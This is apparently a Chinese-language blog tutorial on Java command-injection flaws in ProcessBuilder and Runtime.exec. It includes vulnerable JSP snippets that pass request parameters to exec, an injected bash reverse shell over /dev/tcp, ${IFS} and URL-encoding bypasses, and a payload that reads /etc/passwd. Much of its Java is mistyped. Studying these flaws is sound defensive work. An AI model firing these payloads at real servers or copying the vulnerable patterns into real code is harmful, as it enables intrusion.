java命令执行漏洞

ProcessBuilder命令执行漏洞

Processbuilder执行命令的方式如下

ProcessBuilder pb = new ProcessBuilder("myCommand","myarg");
Process process = pb.start();

#PROCESSBUILDER管理一个进程属性集.start()方法利用这些属性创建一个新的process实例.

Processbuilder执行"ls -al"
public class exec{
public static void main(String[] args) throws IOException{
  ProcessBuilder p = new ProcessBuilder("ls","-al");
  Process pb = p.start();
  //获取完成命令后的结果并输出
  string line;
  bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputstream(),"GBK");
  while((line = reader.readLine())!=null){
    system.out.println(line);
    }
  reader.close();
  }
}

连接漏洞实例

<%
    string ip = request.getparameter("ip");
    try{
            processbuilder p =new processbuilder("ping","-t","3",ip);  #主要问题出在这里,ip是完全可控的,通过命令连接符";"即可实现攻击 例如输入127.0.0.1;/bin/bash -i >& /dev/tcp/ip/port 0>%1;
            process pb = p.start();
            string line ;
            bufferedreader reader = new bufferedreader(new inputstreamreader(pb.getinputsrream(),"GBK"));  
            while((line=reader.readLine())!=null){
            out.println(line);
            }
            reader.close();
        }catch(exception e) {
        out.println(e);
    }
%>

由于runtime.getruntime.exec 和process builder.start执行系统名命令时,没有获取unix或linux shell并在其中运行命令.要使用管道功能必须是shell程序
exec="ping -t 3"+ip;
改成processbuilder pb = new processbuilder("bash","-c",exec);

Runtimeexec 命令执行漏洞

参数可控的情况命令执行漏洞的利用和原理

1.runtime exec执行字符串参数和数据参数之间的不同process proc = runtime.getruntime().exec("ping x.x.x.x");

#执行成功返回正常
process proc = runtime.getruntime().exec("ping x.x.x.x;ls");
#执行完成没有结果,命令没有执行成功
改为数组传参
stinrg[] command = {"/bin/sh","-c","ping -t 3 x.x.x.x;id");
process proc = runtime.getruntime().exec(command);
#成功执行

原因:跟进rumtime.getruntime的exec函数发现会尽过一个stirngtokenizer的函数对传入参数进行调整

pubulic stringtokenizer(string str){
  this(str,delim:"\t\n\r\f",returndelims:false
}
处理示例:
string com = "/bin/sh -c \"ping -t 3 x.x.x.x;id \"";
字符串传参,被stringtokenizer分割成
"/bin/sh" "-c" ""ping" "-t" "3" "x.x.x.x" "id"" """ 原语义已经被删除不能执行此命令

string[] com = {"/bin/sh","-c"."ping -t 3 x.x.x.x;id"};
直接调用processbuilder执行 "/bin/sh" "-c" "ping -t 3 x.x.x.x;id"
数组传参

runtimeexec方法本身可控的情况下执行命令执<%

    string cmd = request.getparameter("cmd");
    try{
        process proc = runtime.getRuntime().exec(cmd);
        string line;
        bufferedreader reader = new bufferedreader(new inputstreamreader(proc.getinputsream(),"GBK"));
        while((line=reader.readLine())!=null){
            out.println(line);
    }
    reader.close();
    }catch(exception e){
    out.println(e);
}
%>
cmd参数可控并且没有过滤  1.绕过stringtokenizer2符合RFCurl规范
命令1:cmd=ls
#执行成功
命令2:cmd=ls;cat /etc/passwd
#错误     原因:通过runtime.getruntime().exec执行命令并没有启动一个新的shell,所以需要重新启动一个shell
改成 cmd=sh -c ls;cat /etc/passwd
#错误    原因参数为字符串参数,会被stringtokenizer分割导致失去原有语义不能执行,绕过stringtokenizer只需要替换空格字符如 ${IFS},$IFS$9等
改成 cmd=sh -c ls;cat${IFS}/etc/passwd
#报错 the valid characters are defined in RFC 7230 and RFC 3986
解析:根据RFC规范,url只允许包含字母a-z A-Z 0-9 和一些特殊字符,不包含{}所以报错,利用url编码绕过即可
改成 cmd=sh%20-c%20ls;cat$%7BIFS%7D/etc/passwd
#成功

 

posted @ 2023-04-12 21:54  lisenMiller  阅读(435)  评论(0)    收藏  举报